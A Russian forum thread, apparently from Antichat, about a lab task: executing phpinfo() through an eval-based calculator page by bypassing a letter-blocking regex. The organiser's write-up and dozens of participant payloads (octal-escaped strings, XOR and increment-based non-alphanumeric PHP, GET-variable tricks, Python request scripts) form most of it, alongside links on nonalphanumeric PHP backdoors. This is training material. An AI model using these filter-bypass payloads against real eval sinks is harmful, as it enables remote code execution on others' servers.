PDA

Просмотр полной версии : Task #2


joelblack
05.01.2019, 18:24
Новогодние праздники подходят к концу.Времени для отдыха было вполне достаточно,поэтому предлагаю начать возвращаться к работе с небольшой разминки, а именно с решения данного таска.

Задание:


Выполнить функцию phpinfo() на тестовой площадке http://task2.antichat.com (http://task2.antichat.com/)
Кодскрипта на этот раз необходимопоискать.


Сроки:


две недели.



Правила простые, они исторически сложились на площадках античата и рдота:


В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.

Ответом будет считаться запрос, который покажет результат выполнения функции phpinfo()


После закрытия задания выкладываются прохождения.

В первый пост будет добавлена таблица результатов.

===

Всем приятного прохождения

===


Кому нужна дополнительно репутация - отпишите в теме "Прошел",что бы было удобно ее проставлять


===

Прошло чуть больше недели,многие решили таск,кто то решил несколькими вариантами, некоторые написали свои средства автоматизации.Все молодцы. Буквально вчера @ZodiaX (https://antichat.live/members/84750/) предложил интересное дополнение к задаче,на самый короткий input при регулярке [A-Za-z0-9`].Мне показалась идея интересной, поэтому предлагаю не много подумать и поучаствовать в этой "Подзадаче".

Решения:

@ZodiaX (https://antichat.live/members/84750/)


?_=phpinfo&__=5
$__=("#"^"|").(";"^"|").(">"^"{").("{"^"/");${$__}[_](${$__}[__]);


@Dimionx (https://antichat.live/members/64324/)


?_=phpinfo
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]()
${"$;>{"^"{|{/"}[_]()

===

Прошли:

@cat1vo (https://antichat.live/members/94094/)

@OneManTeam (https://antichat.live/members/330370/)

@crabovwik (https://antichat.live/members/329106/)

@xmp (https://antichat.live/members/330291/)

@Gorbachev (https://antichat.live/members/300636/)

@=HALK= (https://antichat.live/members/67039/)

@D3N (https://antichat.live/members/330007/)

@oleg_1va (https://antichat.live/members/330004/)

@l1ght (https://antichat.live/members/30257/)

@monotrue (https://antichat.live/members/331161/)

@dais (https://antichat.live/members/2709/)

@MichelleBoxing (https://antichat.live/members/328947/)

@b3 (https://antichat.live/members/2674/)

@grellario (https://antichat.live/members/330316/)

@Franky_T (https://antichat.live/members/328754/)

@redscout (https://antichat.live/members/289016/)

@grimnir (https://antichat.live/members/197111/)

@qwaszx000 (https://antichat.live/members/316705/)

@Jerri (https://antichat.live/members/90760/)

@rudi (https://antichat.live/members/126663/)

@PCD (https://antichat.live/members/331174/)

@Shubka75 (https://antichat.live/members/272853/)

@unstppbl (https://antichat.live/members/328941/)

@Deathdreams (https://antichat.live/members/67649/)

@Alaich (https://antichat.live/members/274334/)

@danilkib95 (https://antichat.live/members/329994/)

@Stepan999 (https://antichat.live/members/330429/)

@Coost (https://antichat.live/members/305856/)

@WockeeZz (https://antichat.live/members/329992/)

@to the moon (https://antichat.live/members/330601/)

@VentaL74 (https://antichat.live/members/151784/)

@Cybersteger (https://antichat.live/members/99929/)

@sinusu (https://antichat.live/members/330009/)

@GoldJoker (https://antichat.live/members/114687/)

@Dimionx (https://antichat.live/members/64324/)

@topthing (https://antichat.live/members/330660/)

Прохождения (https://antichat.live/threads/467805/page-4/)

cat1vo
05.01.2019, 20:11
Пройдено! Не стандартно, интересно, жду еще

OneManTeam
05.01.2019, 20:54
Done

crabovwik
05.01.2019, 22:44
Спасибо! Готово

xmp
05.01.2019, 23:36
готово

Тот_самый_Щуп
05.01.2019, 23:39
Прошел. Изи таск, но именно такими они и должны быть, минимум кода, и максимум сосредоточенности на конкретной задаче. Экономит время, а это важно.

=HALK=
05.01.2019, 23:47
Прошёл

b3
05.01.2019, 23:57
Должно быть как минимум 2 варианта, а там может даже и три. 1 очевидный, около второго топчусь.

АП, прошел 2 варианта, думаю что есть 3й

D3N
06.01.2019, 00:29
↑ (https://antichat.live/posts/4275163/)
Должно быть как минимум 2 варианта, а там может даже и три. 1 очевидный, около второго топчусь.


Один из этих вариантов "наркоманский"

Таск интересный, прошёл

oleg_1va
06.01.2019, 00:56
Прошел ,интересный таск)

xakepok777
06.01.2019, 01:06
не знаю как(

RedHazard
06.01.2019, 02:39
Все такие гуру, быстро прошли

Coost
06.01.2019, 09:35
Код то я нашёл за секунду, вроде вижу что надо обойти, но пока не знаю как. Для нуба сложновато.

MichelleBoxing
06.01.2019, 12:13
прошел

BadScrIPt
06.01.2019, 14:15
Таск интересный, но для ламеров как я сложный, так что ждем решения через 2 недельки

Coost
06.01.2019, 17:03
↑ (https://antichat.live/posts/4275284/)
Раньше школьники домашнее задание просили решать, сейчас повзрослевшие будут на "стековерфлов" просить пройти таск)
Будущее поколение


Это всратые методы. Мне, к примеру, самому интересно докопаться до истины.

dooble
06.01.2019, 18:35
↑ (https://antichat.live/posts/4275252/)
Таск интересный, но для ламеров как я сложный, так что ждем решения через 2 недельки


Тоже вариант.

Но можно чередовать попытки повтыкать и почитать чего-нибудь в тему, покурить маны.

Когда чтение помогает решить таск, то становится не такими уж и скучными.

А это задание хорошо еще и тем, что если нет в памяти нужного фокуса, его можно найти на php.net, причем где то в самом начале, где самые основы языка.

grellario
06.01.2019, 18:38
Прошёл.

BadScrIPt
06.01.2019, 19:33
↑ (https://antichat.live/posts/4275298/)
Тоже вариант.
Но можно чередовать попытки повтыкать и почитать чего-нибудь в тему, покурить маны.
Когда чтение помогает решить таск, то становится не такими уж и скучными.
А это задание хорошо еще и тем, что если нет в памяти нужного фокуса, его можно найти на php.net, причем где то в самом начале, где самые основы языка.


И так уже ищу инфу по этому поводу, в том числе и на php.net, но видимо очень не внимательный. Хотя хочется своим котелком доварить этот таск.

Franky_T
06.01.2019, 19:59
классный таск, спасибо)

но остались вопросы, будем ждать разных вариантов решений

PCD
06.01.2019, 22:18
Прошел. Интересный таск, спасибо!

redscout
06.01.2019, 22:27
Пройдено!

Octavian
06.01.2019, 22:30
Как то много New Member проходят видно сдают с разных аккаунтов чтоб накрутить на разных репу

PCD
06.01.2019, 22:33
Слушай, да кому нужна эта репутация?

Я с другого форума (эксп), услышал про таск! И прошел, потому что интересно! В отличии от тебя по личкам не прошу решений!

Пруф. http://prntscr.com/m3s411

Octavian
06.01.2019, 22:38
Я предположил

grellario
06.01.2019, 23:26
Оба таска очень крутые. Авторам большоей респект! Проходил с огромным удовльствием. Эдакая пост-праздничная разминка для мозга.

Spinus
06.01.2019, 23:50
↑ (https://antichat.live/posts/4275344/)
Как то много New Member проходят видно сдают с разных аккаунтов чтоб накрутить на разных репу


Новый юзер это совсем не значит, что он новичок в знаниях.

По FAQ форума если ты не в торговом разделе, то репа большого значения не имеет.

Очень хорошо, что пришло много новых, грамотных ребят.

qwaszx000
07.01.2019, 01:04
Пройдено.

Благодарю за задание!

Jerri
07.01.2019, 01:54
Прошел. Интересно

joelblack
07.01.2019, 02:38
Лимит на репу кончился, поэтому пока остальным кто решил проставить не могу.Завтра вам проставит либо @dooble (https://antichat.live/members/295866/) ,либо я, когда пройдет ограничение.

Spinus
07.01.2019, 02:57
↑ (https://antichat.live/posts/4275346/)
И прошел, потому что интересно!


Однозначно уважуха и респект, и в репу +. Красава , что прошел.

Turanchocks_
07.01.2019, 03:55
↑ (https://antichat.live/posts/4275344/)
Как то много New Member проходят видно сдают с разных аккаунтов чтоб накрутить на разных репу


Тебя это так накаляет, друг - "минутка"?

dooble
07.01.2019, 10:14
↑ (https://antichat.live/posts/4275373/)
Лимит на репу кончился, поэтому пока остальным кто решил проставить не могу.Завтра вам проставит либо
@dooble (https://antichat.live/members/295866/)
,либо я, когда пройдет ограничение.


Небольшое дополнение, пояснение.

Плюсик в репу в заданиях (впрочем, как и в других разделах) не является чем-то обязательным, это просто оценка хорошо сделанной работы.

Сейчас "льем" в репу много и с удовольствием, плюсометы заклинивает, но это не девальвирует оценки, каждый балл в заданиях заслужен и его качество не вызывает сомнений.

Достаточно большое количество людей включились в задания, молодцы.

Радует приход на форум новых участников, да еще со скиллами.

Еще одним интересным делом стало больше.

Но дальше к репе будем относиться спокойнее и уж точно не как к обязаловке.

Octavian
07.01.2019, 11:31
↑ (https://antichat.live/posts/4275379/)
Тебя это так накаляет, друг - "минутка"?


Не я античат тоже люблю, хорошо что приходят новички, я не знал что таск разносили по форумам, такой активность давно небыло

crlf
07.01.2019, 15:52
Самое приятное, что старички входят в строй Аве @dooble (https://antichat.com/members/295866/)!

// UPD, для тех кто прошёл, есть, как минимум, 3 варианта, 2 из которых можно провернуть без буквенно-цифровых символов

BabaDook
07.01.2019, 19:17
↑ (https://antichat.live/posts/4275484/)
Самое приятное, что старички входят в строй
Аве @
dooble (https://antichat.com/members/295866/)
!
// UPD, для тех кто прошёл, есть, как минимум, 3 варианта, 2 из которых можно провернуть без буквенно-цифровых символов


А это уже супер интересно.

Octavian (https://antichat.live/members/267561/), всегда пиши ярбабину, он всегда поможет. Не изменяй ему.

rudi
07.01.2019, 20:15
delete. а то вдруг это подсказка. но тем не менее решения пока не нашел

crabovwik
07.01.2019, 20:16
@rudi (https://antichat.live/members/126663/) чувак, удали

Jerri
07.01.2019, 20:20
↑ (https://antichat.live/posts/4275484/)
Самое приятное, что старички входят в строй
Аве @
dooble (https://antichat.com/members/295866/)
!
// UPD, для тех кто прошёл, есть, как минимум, 3 варианта, 2 из которых можно провернуть без буквенно-цифровых символов


Без цифровых символов пришлось пострадать малость))

dooble
07.01.2019, 20:29
↑ (https://antichat.live/posts/4275557/)
delete. а то вдруг это подсказка. но тем не менее решения пока не нашел


ЭТА МИНУС.

Все обсуждения, мысли догадки - строго после закрытия задания!

Флудить тоже не нужно, буду просто чистить топик.

t0ma5
07.01.2019, 20:32
о это же с рутми

понравилось прохождение с регой [a-zA-Z0-9`]

rudi
07.01.2019, 21:27
Done

Сделал первый вариант. Попробую еще поковырять... второй способ

Shubka75
08.01.2019, 04:26
Прошел

Deathdreams
08.01.2019, 14:45
Дошёл только самый тривиальный вариант, жду остальных, спасибо ТСу!

rudi
08.01.2019, 14:58
Переполнение буфера для preg_match свыше 100 000 символов не сработало, или это было исправлено или я не так что-то делаю.

Хотя это не просто переполнение буфера, это превышение лимита попыток рекурсии, например в php.ini файле есть такая настройка pcre.recursion_limit которая обычно равна 100 000.

Возможно я неправильно формировал строку для вызова рекурсивного поиска, надо почитать еще раз... про то как работает рекурсия в шаблонах

Deathdreams
08.01.2019, 15:28
↑ (https://antichat.live/posts/4275718/)
Переполнение буфера для preg_match свыше 100 000 символов не сработало, или это было исправлено или я не так что-то делаю.
Хотя это не просто переполнение буфера, это превышение лимита попыток рекурсии, например в php.ini файле есть такая настройка
pcre.recursion_limit
которая обычно равна 100 000.
Возможно я неправильно формировал строку для вызова рекурсивного поиска, надо почитать еще раз... про то как работает рекурсия в шаблонах


пытаешься выбить ногой открытую дверь

unstppbl
08.01.2019, 15:30
Прошёл.

Пока только два способа нашёл

DarkSeller
08.01.2019, 23:00
Прошел, 10 минут с учетом запуска бурпа)

Тот_самый_Щуп
09.01.2019, 00:24
↑ (https://antichat.live/posts/4275820/)
Прошел, 10 минут с учетом запуска бурпа)


Это тема! Я через Sqlmap крутил.

Alaich
09.01.2019, 01:03
+

danilkib95
09.01.2019, 21:24
Mission complete !!!

Coost
09.01.2019, 21:26
Ребята, хватит проходить таск, не действуйте мне на нервы

cerber3000
09.01.2019, 23:48
↑ (https://antichat.live/posts/4276090/)
Ребята, хватит проходить таска, не действуйте мне на нервы


Сам уже трое суток сижу над решением таска, с короткими перерывами на пожрать/поспать. Главное не сдаваться.

https://i.ytimg.com/vi/O2KoAGRitO4/hqdefault.jpg

jakonda1001
09.01.2019, 23:48
Когда закончится?

joelblack
09.01.2019, 23:51
↑ (https://antichat.live/posts/4276123/)
Когда закончится?


Сроки 2 недели,с момента старта.

cat1vo
10.01.2019, 01:43
↑ (https://antichat.live/posts/4276160/)
У человека такая карьера была бы достойная, сначала в Level 8, потом глядишь и выше.


Он там уже был. "... не получилось, не фартануло" (с)

Stepan999
10.01.2019, 11:38
Готово.

WockeeZz
11.01.2019, 11:50
Прошел, спасибо за таск!

to the moon
11.01.2019, 12:41
Done

VentaL74
11.01.2019, 13:35
Done

sinusu
13.01.2019, 20:44
Прошел

Dimionx
14.01.2019, 20:20
Прошел

GoldJoker
15.01.2019, 13:29
Прошел

joelblack
15.01.2019, 16:04
Обновил первый пост с таском. Добавлена небольшая подзадача.

dooble
16.01.2019, 09:22
Вот "в лоб" вижу решение на 16 символов, интересно, есть ли короче?

WoS
16.01.2019, 13:13
Прошел. 23 символа

l1ght
16.01.2019, 13:51
↑ (https://antichat.live/posts/4277567/)
Вот "в лоб" вижу решение на 16 символов, интересно, есть ли короче?


15 бро, пересчитай

Dimionx
16.01.2019, 18:15
Сократил решение до 21-го символа, но как ещё сократить хз

dooble
16.01.2019, 19:34
Кстати, шутка зашла, пересчитал, точно - 13 .

Но это, когда нагрузка делится get+post.

Есть подозрение что всю посылку можно уместить в input и сделать короче 16 символов.

FriLL
16.01.2019, 20:20
?_=phpinfo
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]()


Как это работает??

Можно более подробно объяснить???

${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?

dooble
16.01.2019, 20:27
↑ (https://antichat.live/posts/4277705/)
Как это работает??
Можно более подробно объяснить???
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?


Объяснения будут во время закрытия задания, или чуть позже.

BabaDook
16.01.2019, 20:28
↑ (https://antichat.live/posts/4277705/)
Как это работает??
Можно более подробно объяснить???
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?


XOR

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

grimnir
16.01.2019, 21:21
↑ (https://antichat.live/posts/4277705/)
Как это работает??
Можно более подробно объяснить???
${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?


http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/

http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf

https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors

topthing
17.01.2019, 02:13
done/23chr

joelblack
17.01.2019, 15:24
В связи с тем,что активность последние дни была практически нулевой - мной было принято решение не много отклониться от правил, но в целом сохранить общую концепцию.Так как решения по таску 2 перестали присылать я решил сфокусироваться на активной аудитории, которая решила таск 2 и начала думать как можно решить другими способами, в том числе самым коротким вариантом.В связи с чем я закрываю основную часть заданияно продолжу принимать мини-задачу до субботы.Что касается "Вот же решение - кому то халявная репа". С момента, как я стал выкладывать короткие варианты - мне прислали только1решение таска и оно было абсолютно другим,поэтому халявы тут нет и не будет.Так же парни, которые писали "Прошел" и не присылали пруфы и которым ставили репутацию - остались без нее. Простите, но я не верю на слово.Что касается решений и их разбора.Этим я займусь в выходные,опубликую все ваши решения,скрипты, которые вы присылали, а так же сделаю разбор некоторых вариантов решения.

joelblack
20.01.2019, 02:39
С момента запуска второго таска прошло 2 недели, а это значит самое время подвести итоги и закрыть все задания.Логи показывают что активность есть, есть интерес к решению задач не очевидными способами.Это очень здорово,все кто решал - молодцы.Все кто решал и по каким то причинам не смог решить - не стоит расстраиваться.Будут еще задачи где вы сможете проявить себя.Мы стараемся реализовывать задачи таким образом,что бы вы научились смотреть на код несколько иначе,чем вы смотрите сейчас,учились правильно искать нужную информацию и применять в своих целях. Уверен, спустя некоторое время вы эти и последующие задачи будете решать играючи.

Теперь что касается содержания данного поста.Первая часть будет посвящена разбору некоторых возможных вариантов решения.Я позволил себе некоторую вольность и условно разделил все решения на 2 вида:


С цифрами

Без цифр
Поэтому я распишу один элементарный способ решения с цифрами и пару способов без них.Когда вы поймете принцип - вам будет не сложно разобраться со всеми остальными вариантами. Во второй части будут ваши решения/программы и другой доп.материал, который вы мне скинули.

Итак.Заходим на http://task2.antichat.com и первое что бросается в глаза это форма и ее название. Из этого делаем вывод, что мы имеем калькулятор и input для ввода данных. Пробуем ввести 1 + 3 и получаем как и ожидалось 4. Пробуем ввести abc и получаем "Hacker Detected!!!". Картина постепенно вырисовывается. Пробуем посмотреть исходный код страницы в надежде получить какую либо доп.информацию.В итоге обнаруживаем ссылку на сорцы:


Source Code -->

Отлично, проходим по ссылке и видим следующее:




Evil Calculator



Result';
ev al('print '.$_POST['input'].";");
pr int'';
}
else
echo"Hacker Detected!!!";
}
?>

Source Code -->




Уже что то.Видим eval и видимpreg_match. Понимаем, что здесь классическое RCE и начинаем думать как можно обойти preg_match, который нам напрямую запрещает использовать алфавит.На помощь приходит документация по php. Так как мы работаем со строками,есть смысл заглянуть в документацию по строкам php и посмотреть, какие возможности они нам предоставляют.Заходим в документацию: http://php.net/manual/ru/language.types.string.php и начинаем ее изучать. Листаем не много до"Управляющие последовательности"и видим следующее:


\[0-7]{1,3} последовательность символов, соответствующая регулярному выражению символа в восьмеричной системе счисления, который молча переполняется, чтобы поместиться в байт (т.е. "\400" === "\000")



Смотрим в регулярку и понимаем, что слеш вполне допустим,цифры,так как это калькулятор тоже. Ну и остается дело за малым.Можем руками, можем через сторонние ресурсы, например, http://www.unit-conversion.info/texttools/octal/ перевести "phpinfo" в oct. Дальше,все что нам остается это добавить () и послать запрос.Итоговая конструкция будет выглядеть так:


.SpoilerTarget" type="button">Spoiler: Решение


"\160\150\160\151\156\146\157"()




В конечном итоге получаем вывод функции phpinfo().

Теперь разберем пару вариантов без цифр. В php инкремент работает не только на цифрах,но и на буквах, следовательно такой код имеет место быть:



.SpoilerTarget" type="button">Spoiler: Решение

[PHP]
[COLOR="#0000BB"]$_= [];
$_=@"$_";
$_=$_['!'=='@'];
$__=$_;
$___=$_;
$____=$_;
$______=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;$__++;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____=$___;$____++;
$______++;$______++;$______++;$______++;$______++;
$_____=$____;$_____++;$_____++;$_____++;$_____++;$ _____++;
$_______=$_____;$_______++;
$__=$__.$___.$__.$____.$_____.$______.$_______;
$__();




Вариант с XOR разобран детально здесь:https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors . Если вкратце, то нам нужно найти такую комбинацию из двух строк,результатом XOR которых будет нужная буква:


var_dump('^'^'.');//p


Вот пример решения:

.SpoilerTarget" type="button">Spoiler: Решение


$_[COLOR="#007700"]=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@') .('='^'[').('/'^'@');${$_()}


Крайне сложно все охватить в одном посте, поэтому тем, кто захочет копнуть глубже, или рассмотреть варианты с $_GET например, то если загуглитьphp bypass alphaи/илиnon-alphanumeric php codeвы найдете ответы на все интересующие вас вопросы. Теперь перейдем к решениям:

.SpoilerTarget" type="button">Spoiler: Решения TASK2
@l1ght (https://antichat.live/members/30257/)


↑ (https://antichat.live)
$__[]='';$_="".$__;$_0=$_[3];$_0++;$_0++;$_0++;$_0++;$_0++;$_6=$_0;$_0++;$_0++ ;$_2=$_0;$_0++;$_4=$_0;$_0++;$_0++;$_0++;$_0++;$_0 ++;$_5=$_0;$_0++;$_7=$_0;$_0++;$_1=$_3=$_0;$_8=$_1 .$_2.$_3.$_4.$_5.$_6.$_7;$_8()




↑ (https://antichat.live)
input=1;$_="\160\150\160\151\156\146\157";$_()




↑ (https://antichat.live)
${~"%a0%b8%ba%ab"}[%aa]() ?%aa=phpinfo


@monotrue (https://antichat.live/members/331161/)


↑ (https://antichat.live)
""; $пхпинфо="\160\150\160\151\156\146\157"; $пхпинфо()


@cat1vo (https://antichat.live/members/94094/)


↑ (https://antichat.live)
https://imgur.com/a/mQYvw87




↑ (https://antichat.live)
1. [a-zA-Z`] - ${"\160\150\160\151\156\146\157"()}
2. [a-zA-Z0-9`] - $_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@ ').('='^'[').('/'^'@');${$_()}


@OneManTeam (https://antichat.live/members/330370/)


↑ (https://antichat.live)
1;
$__++;
$__=$__.[];
$_______________++;
$___=$__[$_______________++];
$____= $___;
$____=$____++;$____++;$____++;$____++;$____++;$___ _++;$____++;$____++;$____++;$____++;$____++;$____+ +;$____++;$____++;$____++;$____++;
$_____=$___;
$_____=$_____++;$_____++;$_____++;$_____++;$_____+ +;$_____++;$_____++;$_____++;
$______=$___;
$______=$______++;$______++;$______++;$______++;$_ _____++;$______++;$______++;$______++;$______++;
$_______=$___;
$_______=$_______++;$_______++;$_______++;$_______ ++;$_______++;$_______++;$_______++;$_______++;$__ _____++;$_______++;$_______++;$_______++;$_______+ +;$_______++;
$________=$___;
$________=$________++;$________++;$________++;$___ _____++;$________++;$________++;
$_________=$___;
$_________=$_________++;$_________++;$_________++; $_________++;$_________++;$_________++;$_________+ +;$_________++;$_________++;$_________++;$________ _++;$_________++;$_________++;$_________++;$______ ___++;
$__________=$____.$_____.$____.$______.$_______.$_ _______.$_________;
$__________();


@crabovwik (https://antichat.live/members/329106/)


↑ (https://antichat.live)
1 + 1;"\160\150\160\151\156\146\157"();


@=HALK= (https://antichat.live/members/67039/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()


@oleg_1va (https://antichat.live/members/330004/)


↑ (https://antichat.live)
$_="\160\162\151\156\164\137\162";
$__="\160\150\160\151\156\146\157";
$_($__());


@MichelleBoxing (https://antichat.live/members/328947/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()


@Gorbachev (https://antichat.live/members/300636/)


↑ (https://antichat.live)
"";$похек="\160\150\160\151\156\146\157";$похек()


@dais (https://antichat.live/members/2709/)


↑ (https://antichat.live)
$_="\160\150\160\151\156\146\157";$_();




↑ (https://antichat.live)
$__
=(
$_
^
$__
);
$__
++;
$__
++;
$__
++;
$_
=[];
$_
=
"
$_
"
;
$_
=
$_
[
$__
];
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$__
=
$_
;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$__
++;
$___
=
$__
;
$____
.=
$___
;
$____
();


@b3 (https://antichat.live/members/2674/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"();


@Franky_T (https://antichat.live/members/328754/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()


@xmp (https://antichat.live/members/330291/)


↑ (https://antichat.live)
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;$__++;
$___=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_ _++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$_=$$____;
$___();




↑ (https://antichat.live)
"\160\150\160\151\156\146\157"();


@qwaszx000 (https://antichat.live/members/316705/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()


@grimnir (https://antichat.live/members/197111/)


↑ (https://antichat.live)
$_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@ ').('='^'[').('/'^'@');${$_()}


@redscout (https://antichat.live/members/289016/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()




↑ (https://antichat.live)
"\160\162\151\156\164\137\162"("\147\145\164\137\144\145\146\151\156\145\144\137\1 46\165\156\143\164\151\157\156\163"()["\151\156\164\145\162\156\141\154"][383]())


@Jerri (https://antichat.live/members/90760/)


↑ (https://antichat.live)
import requests r = requests.post("
http://task.antichat.com:10002/
", data={"input": '$_ = \"\\160\\150\\160\\151\\156\\146\\157\"()'}) print(r.content)




↑ (https://antichat.live)
import requests data={"input": '$_ = \"\\143\\150\\162\"; $___ = $_(112).$_(104).$_(112).$_(105).$_(110).$_(102).$_ (111); $___()'} r = requests.post("
http://task.antichat.com:10002/
", data=data)




↑ (https://antichat.live)
import requests com = "phpinfo" arg = "-1" data={"input": '$_ = \"_\\120\\117\\123\\124\"; $__ = ${$_}; $__[23]($__[24]);', 23: com, 24: arg} r = requests.post("
http://task.antichat.com:10002/
", data=data) print(r.content)


@rudi (https://antichat.live/members/126663/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()


@Shubka75 (https://antichat.live/members/272853/)


↑ (https://antichat.live)
http://task.antichat.com:10002/index.php?0=phpinfo

@$_++;$__ = '|'^'#';$__ .= '{'^""^'{';$__ .= "/"^"{";${$__}[!$_]();



@Deathdreams (https://antichat.live/members/67649/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()


@Alaich (https://antichat.live/members/274334/)


↑ (https://antichat.live)
"\160\150\160\151\156\146\157"()


@unstppbl (https://antichat.live/members/328941/)

[QUOTE="unstppbl"]
↑ (https://antichat.live)
http://task.antichat.com:10002/?_=phpinfo
'';$_="{";$_=($_^";").($_^"/");?>;").($_^"/");?>

Так же хочу отметить отдельно @D3N (https://antichat.live/members/330007/) . Он решил написать "Генератор-Переводчик".Выкладываю его здесь,вдруг кому пригодится.

[PHP]
[COLOR="#000000"][COLOR="#0000BB"]';
$arr[] ='?';
$arr[] ='@';
$arr[] ='[';
$arr[] =']';
$arr[] ='^';
$arr[] ='_';
$arr[] ='`';
$arr[] ='{';
$arr[] ='|';
$arr[] ='}';
$arr[] ='~';
$arr[] ='`';
$arr[] ='';
$arr[] ='‚';
$arr[] ='ƒ';
$arr[] ='„';
$arr[] ='…';
$arr[] ='†';
$arr[] ='‡';
$arr[] ='ˆ';
$arr[] ='‰';
$arr[] ='Š';
$arr[] ='‹';
$arr[] ='Œ';
$arr[] ='';
$arr[] ='Ž';
$arr[] ='';
$arr[] ='';
$arr[] ='‘';
$arr[] ='’';
$arr[] ='“';
$arr[] ='”';
$arr[] ='•';
$arr[] ='–';
$arr[] ='—';
$arr[] ='˜';
$arr[] ='™';
$arr[] ='š';
$arr[] ='›';
$arr[] ='œ';
$arr[] ='';
$arr[] ='ž';
$arr[] ='Ÿ';
$arr[] ='¡';
$arr[] ='¢';
$arr[] ='£';
$arr[] ='¤';
$arr[] ='¥';
$arr[] ='¦';
$arr[] ='§';
$arr[] ='¨';
$arr[] ='©';
$arr[] ='ª';
$arr[] ='«';
$arr[] ='¬';
$arr[] ='%';
$arr[] ='®';
$arr[] ='¯';
$arr[] ='°';
$arr[] ='±';
$arr[] ='²';
$arr[] ='³';
$arr[] ='´';
$arr[] ='µ';
$arr[] ='¶';
$arr[] ='·';
$arr[] ='¸';
$arr[] ='¹';
$arr[] ='º';
$arr[] ='»';
$arr[] ='¼';
$arr[] ='½';
$arr[] ='¾';
$arr[] ='¿';
$arr[] ='À';
$arr[] ='Á';
$arr[] ='Â';
$arr[] ='Ã';
$arr[] ='Ä';
$arr[] ='Å';
$arr[] ='Æ';
$arr[] ='Ç';
$arr[] ='È';
$arr[] ='É';
$arr[] ='Ê';
$arr[] ='Ë';
$arr[] ='Ì';
$arr[] ='Í';
$arr[] ='Î';
$arr[] ='Ï';
$arr[] ='Ð';
$arr[] ='Ñ';
$arr[] ='Ò';
$arr[] ='Ó';
$arr[] ='Ô';
$arr[] ='Õ';
$arr[] ='Ö';
$arr[] ='×';
$arr[] ='Ø';
$arr[] ='Ù';
$arr[] ='Ú';
$arr[] ='Û';
$arr[] ='Ü';
$arr[] ='Ý';
$arr[] ='Þ';
$arr[] ='ß';
$arr[] ='à';
$arr[] ='á';
$arr[] ='â';
$arr[] ='ã';
$arr[] ='ä';
$arr[] ='å';
$arr[] ='æ';
$arr[] ='ç';
$arr[] ='è';
$arr[] ='é';
$arr[] ='ê';
$arr[] ='ë';
$arr[] ='ì';
$arr[] ='í';
$arr[] ='î';
$arr[] ='ï';
$arr[] ='ð';
$arr[] ='ñ';
$arr[] ='ò';
$arr[] ='ó';
$arr[] ='ô';
$arr[] ='õ';
$arr[] ='ö';
$arr[] ='÷';
$arr[] ='ø';
$arr[] ='ù';
$arr[] ='ú';
$arr[] ='û';
$arr[] ='ü';
$arr[] ='ý';
$arr[] ='þ';
$arr[] ='ÿ';

// Разрешенные для перевода символы.
$cap_letters[] ='A';
$cap_letters[] ='B';
$cap_letters[] ='C';
$cap_letters[] ='D';
$cap_letters[] ='E';
$cap_letters[] ='F';
$cap_letters[] ='G';
$cap_letters[] ='H';
$cap_letters[] ='I';
$cap_letters[] ='J';
